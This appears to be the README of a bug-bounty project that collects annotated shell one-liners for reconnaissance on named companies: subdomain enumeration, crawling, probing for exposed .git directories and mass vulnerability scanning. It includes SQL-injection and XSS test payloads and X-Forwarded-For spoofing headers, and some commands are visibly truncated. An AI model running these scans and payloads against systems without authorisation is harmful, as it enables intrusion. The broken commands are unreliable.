👑 What is KingOfOneLineTips Project ? 👑

Our main goal is to share tips from some well-known bughunters. Using recon methodology, we are able to find subdomains, apis, and tokens that are already exploitable, so we can report them. We wish to influence Onelinetips and explain the commands, for the better understanding of new hunters.

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Special thanks

• @Stokfredrik
• @Jhaddix
• @pdiscoveryio
• @TomNomNom
• @jeff_foley
• @NahamSec
• @j3ssiejjj

Scripts that need to be installed

To run the project, you will need to install the following programs:

• Anew
• Qsreplace
• Subfinder
• Gospider
• Github-Search
• Amass
• Hakrawler
• Gargs

Search Asn Amass

@OFJAAAH @zeroc00I

• Explaining command

Amass intel will search the organization "paypal" from a database of ASNs at a faster-than-default rate. It will then take these ASN numbers and scan the complete ASN/IP space for all tld's in that IP space (paypal.com, paypal.co.id, paypal.me).

amass intel -org paypal -max-dns-queries 2500 | awk -F, '{print $1}' ORS=',' | sed 's/,$//' | xargs -P3 -I@ -d ',' amass intel -asn @ -max-dns-queries 2500''

Using chaos search js

@OFJAAAH @zeroc00I

• Explaining command

Choas is an API by Project Discovery that discovers subdomains. Here we are querying thier API for all known subdoains of "att.com". We are then using httpx to find which of those domains is live and hosts an HTTP or HTTPs site. We then pass those URLs to GoSpider to visit them and crawl them for all links (javascript, endpoints, etc). We then grep to find all the JS files. We pipe this all through anew so we see the output iterativlely (faster) and grep for "(http|https)://att.com" to make sure we dont recieve output for domains that are not "att.com".

chaos -d att.com | httpx -silent | xargs -I@ -P20 sh -c 'gospider -a -s "@" -d 2' | grep -Eo "(http|https)://[^/"].*.js+" | sed "s#]

Search Subdomain using Gospider

@OFJAAAH @zeroc00I

• Explaining command

GoSpider to visit them and crawl them for all links (javascript, endpoints, etc) we use some blacklist, so that it doesn’t travel, not to delay, grep is a command-line utility for searching plain-text data sets for lines that match a regular expression to search HTTP and HTTPS

gospider -d 0 -s "https://site.com" -c 5 -t 100 -d 5 --blacklist jpg,jpeg,gif,css,tif,tiff,png,ttf,woff,woff2,ico,pdf,svg,txt | grep -Eo '(http|https)://[^/"]+' | anew

Using gospider to chaos

@OFJAAAH @zeroc00I

• Explaining command

chaos -d paypal.com -bbq -filter-wildcard -http-url | xargs -I@ -P5 sh -c 'gospider -a -s "@" -d 3'

Using recon.dev and gospider crawler subdomains

@OFJAAAH @zeroc00I

• Explaining command

curl "https://recon.dev/api/search?key=apiKEY&domain=paypal.com" |jq -r '.[].rawDomains[]' | sed 's/ //g' | anew |httpx -silent | xargs -I@ gospider -d 0 -s @ -c 5 -t 100 -d 5 --blacklist jpg,jpeg,gif,css,tif,tiff,png,ttf,woff,woff2,ico,pdf,svg,txt | grep -Eo '(http|https)://[^/"]+' | anew'

PSQL - search subdomain using cert.sh

@OFJAAAH @zeroc00I

• Explaining command

psql -A -F , -f querycrt -h http://crt.sh -p 5432 -U guest certwatch 2>/dev/null | tr ', ' '\n' | grep twitch | anew'

Search subdomains using github and httpx

@OFJAAAH @zeroc00I

• Github-search - Using python3 to search subdomains, httpx filter hosts by up status-code response (200)

./github-subdomains.py -t APYKEYGITHUB -d domaintosearch | httpx --title

Search SQLINJECTION using qsreplace search syntax error

@OFJAAAH @zeroc00I

• Explained comand

grep "="  .txt| qsreplace "' OR '1" | httpx -silent -store-response-dir output -threads 100 | grep -q -rn "syntax\|mysql" output 2>/dev/null && \printf "TARGET \033[0;32mCould Be Exploitable\e[m\n" || printf "TARGET \033[0;31mNot Vulnerable\e[m\n"

Search subdomains using jldc

@OFJAAAH @zeroc00I

• Explained comand

curl -s "https://jldc.me/anubis/subdomains/att.com" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | anew

Search subdomains in assetfinder using hakrawler spider to search links in content responses

@OFJAAAH @zeroc00I

• Explained comand

assetfinder -subs-only http://tesla.com -silent | httpx -timeout 3 -threads 300 --follow-redirects -silent | xargs -I% -P10 sh -c 'hakrawler -plain -linkfinder -depth 5 -url %' | grep "tesla"

Search subdomains in cert.sh

@OFJAAAH @zeroc00I

• Explained comand

curl -s "https://crt.sh/?q=%25.att.com&output=json" | jq -r '.[].name_value' | sed 's/\*\.//g' | httpx -title -silent | anew

Search subdomains in cert.sh assetfinder to search in link /.git/HEAD

@OFJAAAH @zeroc00I

• Explained comand

curl -s "https://crt.sh/?q=%25.tesla.com&output=json" | jq -r '.[].name_value' | assetfinder -subs-only | sed 's#$#/.git/HEAD#g' | httpx -silent -content-length -status-code 301,302 -timeout 3 -retries 0 -ports 80,8080,443 -threads 500 -title | anew

curl -s "https://crt.sh/?q=%25.enjoei.com.br&output=json" | jq -r '.[].name_value' | assetfinder -subs-only | httpx -silent -path /.git/HEAD -content-length -status-code 301,302 -timeout 3 -retries 0 -ports 80,8080,443 -threads 500 -title | anew

Collect js files from hosts up by gospider

@OFJAAAH @zeroc00I

• Explained comand

xargs -P 500 -a pay -I@ sh -c 'nc -w1 -z -v @ 443 2>/dev/null && echo @' | xargs -I@ -P10 sh -c 'gospider -a -s "https://@" -d 2 | grep -Eo "(http|https)://[^/\"].*\.js+" | sed "s#\] \- #\n#g" | anew'

Subdomain search Bufferover resolving domain to httpx

@OFJAAAH @zeroc00I

• Explained comand

curl -s https://dns.bufferover.run/dns?q=.sony.com |jq -r .FDNS_A[] | sed -s 's/,/\n/g' | httpx -silent | anew

Using gargs to gospider search with parallel proccess

• Gargs

@OFJAAAH @zeroc00I

• Explained comand

httpx -ports 80,443,8009,8080,8081,8090,8180,8443 -l domain -timeout 5 -threads 200 --follow-redirects -silent | gargs -p 3 'gospider -m 5 --blacklist pdf -t 2 -c 300 -d 5 -a -s {}' | anew stepOne

Injection xss using qsreplace to urls filter to gospider

@OFJAAAH @zeroc00I

• Explained comand

gospider -S domain.txt -t 3 -c 100 |  tr " " "\n" | grep -v ".js" | grep "https://" | grep "=" | qsreplace '%22><svg%20onload=confirm(1);>'

Extract URL's to apk

@OFJAAAH @zeroc00I

• Explained comand

apktool d app.apk -o uberApk;grep -Phro "(https?://)[\w\.-/]+[\"'\`]" uberApk/ | sed 's#"##g' | anew | grep -v "w3\|android\|github\|schemas.android\|google\|goo.gl"

Chaos to Gospider

@OFJAAAH @zeroc00I

• Explained comand

chaos -d att.com -o att -silent | httpx -silent | xargs -P100 -I@ gospider -c 30 -t 15 -d 4 -a -H "x-forwarded-for: 127.0.0.1" -H "User-Agent: Mozilla/5.0 (Linux; U; Android 2.2) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1" -s @

Checking invalid certificate

@OFJAAAH @zeroc00I

• Real script
• Script King

xargs -a domain -P1000 -I@ sh -c 'bash cert.sh @ 2> /dev/null' | grep "EXPIRED" | awk '/domain/{print $5}' | httpx

Using shodan & Nuclei

@OFJAAAH @zeroc00I

• Explained comand

shodan domain DOMAIN TO BOUNTY | awk '{print $3}' | httpx -silent | nuclei -t /nuclei-templates/

Open Redirect test using gf.

@OFJAAAH @zeroc00I

• Explained comand

echo "domain" | waybackurls | httpx -silent -timeout 2 -threads 100 | gf redirect | anew

Using shodan to jaeles "How did I find a critical today? well as i said it was very simple, using shodan and jaeles".

@OFJAAAH @zeroc00I

• Explained comand

shodan domain domain| awk '{print $3}'|  httpx -silent | anew | xargs -I@ jaeles scan -c 100 -s /jaeles-signatures/ -u @

Using Chaos to jaeles "How did I find a critical today?.

@OFJAAAH @zeroc00I

• Explained comand

chaos -d domain | httpx -silent | anew | xargs -I@ jaeles scan -c 100 -s /jaeles-signatures/ -u @ 

Using shodan to jaeles

@OFJAAAH @zeroc00I

• Explained comand

domain="domaintotest";shodan domain $domain | awk -v domain="$domain" '{print $1"."domain}'| httpx -threads 300 | anew shodanHostsUp | xargs -I@ -P3 sh -c 'jaeles -c 300 scan -s jaeles-signatures/ -u @'| anew JaelesShodanHosts 

Search to files using assetfinder and ffuf

@OFJAAAH @zeroc00I

• Explained comand

assetfinder att.com | sed 's#*.# #g' | httpx -silent -threads 10 | xargs -I@ sh -c 'ffuf -w path.txt -u @/FUZZ -mc 200 -H "Content-Type: application/json" -t 150 -H "X-Forwarded-For:127.0.0.1"'

Project